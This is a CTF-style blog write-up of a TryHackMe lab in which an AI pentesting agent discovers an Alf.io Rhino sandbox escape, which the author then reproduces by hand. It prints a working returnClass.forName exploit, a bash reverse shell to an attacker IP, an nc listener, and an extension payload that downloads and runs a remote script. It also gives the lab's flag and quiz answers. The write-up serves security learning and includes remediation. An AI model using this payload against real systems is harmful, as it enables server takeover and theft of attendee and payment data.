July 2, 2026
TryHackMe: NoScope — Finding RCE
https://tryhackme.com/room/noscoperce

By ghosteye
8 min read
Watching an AI Agent Find a Real CVE in Alf.io — CVE-2026–35482 (Rhino Sandbox Escape → RCE)
How an autonomous pentesting agent discovered, validated, and weaponized a Java reflection bug hiding behind a deny-list — and how I reproduced the exploit manually to pop a reverse shell.
TL;DR
TryHackMe's NoScope: Finding RCE room pairs an AI-driven autonomous pentesting tool (NoScope) with a real, disclosed CVE in Alf.io, an open-source event/ticketing platform. The bug lives in Alf.io's admin-only "Extensions" feature, where organiser-supplied JavaScript runs server-side inside a Mozilla Rhino sandbox. A deny-list blocks the obvious payloads (java.lang.Runtime, reflection keywords, etc.), but the sandbox scope quietly injects an unrestricted java.lang.Class object called returnClass. That one object is enough to defeat the entire sandbox.
I ran NoScope against a live instance, watched it isolate the real primitive from a false-positive dead end, then manually reproduced the exploit myself to land a reverse shell and capture the flag.
Setting the Stage: What is Alf.io?
Alf.io is a free, open-source platform for managing event ticketing and reservations — built on Java / Spring Boot with a PostgreSQL backend. The version in scope for this box was 2.0-M5–2509–1.
Like a lot of platforms aimed at non-technical event organisers, Alf.io ships an Extensions system: admins can register custom JavaScript that fires automatically on application events — ticket confirmations, invoice generation, and critically, EVENT_STATUS_CHANGE (fired when an event is published or hidden). It's a legitimate, useful feature. It's also server-side code execution by design, which means the sandbox around it has to be airtight.
It wasn't.
Part 1: Turning NoScope Loose
Instead of manually fuzzing endpoints from scratch, I registered the target with NoScope, an AI-driven autonomous pentesting platform, and walked through its guided setup wizard.
Step 1 — Application details. Named the target and marked it for a security assessment.
Step 2 — Target & scope. Pointed the scanner at http://10.49.163.230, with scope notes explicitly steering it toward the admin extension scripting surface and sandbox escape vectors.
Step 3 — Authentication. Since the vulnerable feature sits behind the admin panel, an unauthenticated scan would never reach it. Supplied the admin credentials so NoScope could log in and explore authenticated surface area.
Step 4 — Additional configuration. Gave the agent context on the tech stack and explicitly called out the Extensions feature as the area of interest — a nudge, not a spoiler.
Step 5 — Trigger configuration. Preset for this simulation, no changes needed.
Step 6 — Pentest mode. Selected Quick mode with human approval required toggled on, so any sensitive action (like attempting code execution) would pause for my review rather than fire blind.
With the wizard complete, I deployed the scan and opened the Agent Hub to watch it work.
Part 2: Watching the Agent Think
This is the part that made the room worth doing. NoScope doesn't just throw a payload list at the target — it runs multiple sub-agents that reconnoiter, hypothesize, test, and independently validate findings before they're promoted to a confirmed vulnerability.
I watched three sub-agents work through the engagement: a Coordinator, a Recon Subagent, and a Challenger — the last one specifically tasked with reproducing findings from a clean session to kill false positives before they ever reach a report.
The trace log lays the reasoning out plainly:
// [validation] Reproduce from scratch
Picked up the confirmed RCE. Re-running the returnClass.forName PoC
from a fresh admin login to rule out a fluke or leftover state.
// [validation] Independently reproduce the PoC
# fresh admin session, save the final PoC, publish an event, read the log
↳ invoiceNumber: "uid=1001(alfio) ..."
/etc/flag.txt = XXXXXXXX// [validation] Reproduce from scratch
Picked up the confirmed RCE. Re-running the returnClass.forName PoC
from a fresh admin login to rule out a fluke or leftover state.
// [validation] Independently reproduce the PoC
# fresh admin session, save the final PoC, publish an event, read the log
↳ invoiceNumber: "uid=1001(alfio) ..."
/etc/flag.txt = XXXXXXXXTwo things stood out to me here:
- It didn't stop at the first "success." Per the agent's own report, an earlier attempt using
Java.type('java.lang.Runtime')appeared to pass validation and execute cleanly — but tracing it back to source showed theJavainterop binding is hard-restricted to a single whitelisted class (alfio.model.CustomerName). That path was a false positive, correctly demoted before being reported. - It found the actual primitive by reading the source, not by brute-forcing payloads. The real vulnerability came from a completely different, unguarded object sitting in the same scope:
returnClass.
I pulled the security report NoScope generated at the end of the engagement to get the full technical picture.
The Root Cause
Digging into alfio.extension.ScriptingExecutionService, every extension script execution builds a fresh Rhino scope and injects two bindings:
scope.put("Java", scope, new JavaClassInterop(
Map.of("alfio.model.CustomerName", alfio.model.CustomerName.class), scope));
scope.put("returnClass", scope, clazz);scope.put("Java", scope, new JavaClassInterop(
Map.of("alfio.model.CustomerName", alfio.model.CustomerName.class), scope));
scope.put("returnClass", scope, clazz);The Java binding is deliberately locked down — it only resolves one class, so the classic Java.type('java.lang.Runtime') trick is a dead end (this is exactly the false positive the agent caught).
But returnClass — meant only to help the engine deserialize a script's return value — is a live, fully functional java.lang.Class object. And Class.forName(String) is a static method with no restrictions at all:
var rtClass = returnClass.forName('java.lang.Runtime');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', returnClass.forName('java.lang.String'))
.invoke(runtime, 'id');var rtClass = returnClass.forName('java.lang.Runtime');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', returnClass.forName('java.lang.String'))
.invoke(runtime, 'id');The validation layer — a Rhino AST walker matching a fixed blocklist (java.lang.System, Object.getClass(), reflection keywords) — has no idea returnClass even exists in scope, so returnClass.forName(...) sails straight through untouched.
Root cause, in one line: a permissive Rhino scope exposing a live Class<T> object, defended by a deny-list instead of an actual sandbox boundary (e.g. a proper ClassShutter allow-list).
This is tracked as CVE-2026–35482 / GHSA-3w8f-mcf6-cm7h, rated CVSS 8.0 (High), mapping to CWE-470 (Unsafe Reflection) under OWASP A03:2021 — Injection.
Part 3: Weaponizing It Manually
Once NoScope confirmed the primitive, I wanted to reproduce the full attack chain by hand — registering a real extension and catching a live reverse shell, not just an id output in a log.
Recon: confirming the target and the dormant event
Before touching anything, I logged into the admin panel to get a feel for the environment. A "TryHackMe" event was already configured, but sitting unpublished — visible only via direct URL, with zero tickets confirmed:
Digging into the event's logistics, I confirmed the full details — dates, organiser info, and capacity (200 tickets, free of charge):
This unpublished event was the key: publishing or hiding it fires the EVENT_STATUS_CHANGE hook — exactly the trigger my payload needed.
Staging the payload delivery
On my attacking machine (connected via the TryHackMe VPN), I wrote a one-liner reverse shell and served it over HTTP:
#!/bin/bash
bash -i >& /dev/tcp/<MY_IP>/4444 0>&1 &
python3 -m http.server 80#!/bin/bash
bash -i >& /dev/tcp/<MY_IP>/4444 0>&1 &
python3 -m http.server 80and started a listener:
nc -lvnp 4444nc -lvnp 4444Building the malicious extension
The payload uses the exact returnClass.forName() bypass, chained through three Runtime.exec() calls to download, permission, and execute the reverse shell:
Created payload.js using the payload provided in the TryHackMe NoScope RCE lab and configured it to execute on EVENT_STATUS_CHANGE.
Registering the extension
Logged into http://10.49.163.230/admin, went to Extension → Add new, set the path to System/NoScope RCE, and pasted the payload in:
Saved it — the deny-list validator let it straight through, exactly as the agent had predicted.
function getScriptMetadata() {
return {
id: 'rce-validate',
displayName: 'RCE Validate',
version: 0,
async: false,
events: ['EVENT_STATUS_CHANGE']
};
}
function executeScript(scriptEvent) {
var rtClass = returnClass.forName('java.lang.Runtime');
var strClass = returnClass.forName('java.lang.String');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', strClass)
.invoke(runtime, 'wget http://<MY_IP>/rev.sh -O /home/alfio/rev.sh');
proc = rtClass.getMethod('exec', strClass).invoke(runtime, 'chmod 777 /home/alfio/rev.sh');
proc = rtClass.getMethod('exec', strClass).invoke(runtime, '/home/alfio/rev.sh');
var bytes = proc.getInputStream().readAllBytes();
var output = '';
for (var i = 0; i < bytes.length; i++) output += String.fromCharCode(bytes[i] & 0xFF);
return { invoiceNumber: output };
}function getScriptMetadata() {
return {
id: 'rce-validate',
displayName: 'RCE Validate',
version: 0,
async: false,
events: ['EVENT_STATUS_CHANGE']
};
}
function executeScript(scriptEvent) {
var rtClass = returnClass.forName('java.lang.Runtime');
var strClass = returnClass.forName('java.lang.String');
var runtime = rtClass.getMethod('getRuntime').invoke(null);
var proc = rtClass.getMethod('exec', strClass)
.invoke(runtime, 'wget http://<MY_IP>/rev.sh -O /home/alfio/rev.sh');
proc = rtClass.getMethod('exec', strClass).invoke(runtime, 'chmod 777 /home/alfio/rev.sh');
proc = rtClass.getMethod('exec', strClass).invoke(runtime, '/home/alfio/rev.sh');
var bytes = proc.getInputStream().readAllBytes();
var output = '';
for (var i = 0; i < bytes.length; i++) output += String.fromCharCode(bytes[i] & 0xFF);
return { invoiceNumber: output };
}
Triggering the exploit
Back on the events page, I clicked Publish now on the dormant TryHackMe event. That single click fired EVENT_STATUS_CHANGE, which triggered my registered extension.
Within seconds, my nc listener caught the callback — a reverse shell landed as alfio (uid=1000), matching exactly what NoScope's Challenger agent had already validated independently.
The Flag
Digging through the filesystem post-shell surfaced it exactly where the agent's trace said it would be:
1. What sandboxing engine did NoScope identify as the one in use?
Mozilla Rhino
2. Which agent independently reproduced the exploit before it was promoted to a confirmed finding?
Challenger
3. What was the flag value NoScope retrieved out of the flag.txt file during its engagement?
/etc/flag.txt = THM-{ALF_CV3_PWN}/etc/flag.txt = THM-{ALF_CV3_PWN}4. On what event is the exploit payload triggered?
EVENT_STATUS_CHANGE
Why This One's Interesting
A few things make this bug more instructive than a typical "forgot to sanitize input" CTF box:
- It's a real, disclosed CVE (CVE-2026–35482), not a synthetic training vulnerability — the NoScope report cites the upstream GitHub security advisory and CVE record directly.
- The deny-list was doing real work — it genuinely blocked the "obvious" payload. The vulnerability wasn't a missing check; it was an unmodeled object sitting right next to the checks that did exist.
- The false-positive discipline matters. The
Java.type()path looked like a working exploit until someone (or something) actually traced it to source. In a real engagement, reporting that as confirmed RCE without validation would've been a credibility-damaging mistake — and it's exactly the kind of error an autonomous agent has to avoid to be trustworthy. - Business impact is not abstract here. The
alfioprocess has a direct path to PostgreSQL containing attendee PII and payment data, plus payment-provider and signing secrets in the environment. And because the payload rides on routine events like ticket assignment or invoice generation, it doubles as a persistence mechanism.
Remediation
Short-term: Strip the returnClass binding out of the Rhino scope entirely — legitimate organiser scripts don't need it — and/or lock down POST /admin/api/extensions until patched.
Long-term:
- Upgrade to the patched Alf.io release (GHSA-3w8f-mcf6-cm7h).
- Replace deny-list AST scanning with a real Rhino
ClassShutterallow-list. - Never expose a live
java.lang.Class(or anything withforName/getMethod/invoke) to script scope. - Run extensions under OS-level sandboxing (seccomp, restricted user, read-only filesystem) as defense in depth.
- Add regression tests specifically asserting the
returnClass.forNamebypass stays closed.
Closing Thoughts
What stuck with me most wasn't the vulnerability class itself — sandbox escapes via unintentionally exposed reflection primitives are a known pattern. It was watching an autonomous agent self-correct: chase a plausible lead, verify it against source instead of trusting surface-level success, discard it, and then independently re-validate the real finding from a clean session before ever calling it confirmed. That's the difference between a scanner that produces noise and one that produces a report you can actually act on.
If you found this useful, the room itself is a great way to see this class of bug — deny-list sandboxing failures — discovered live rather than just read about. Highly recommend running through it yourself.
#TryHackMe #NoScopeRCE #RemoteCodeExecution #RCE #ApplicationSecurity #WebSecurity #JavaScript #CyberSecurity #EthicalHacking #PenetrationTesting #RedTeam #CTF #HandsOnLearning #SecurityResearch #BugBounty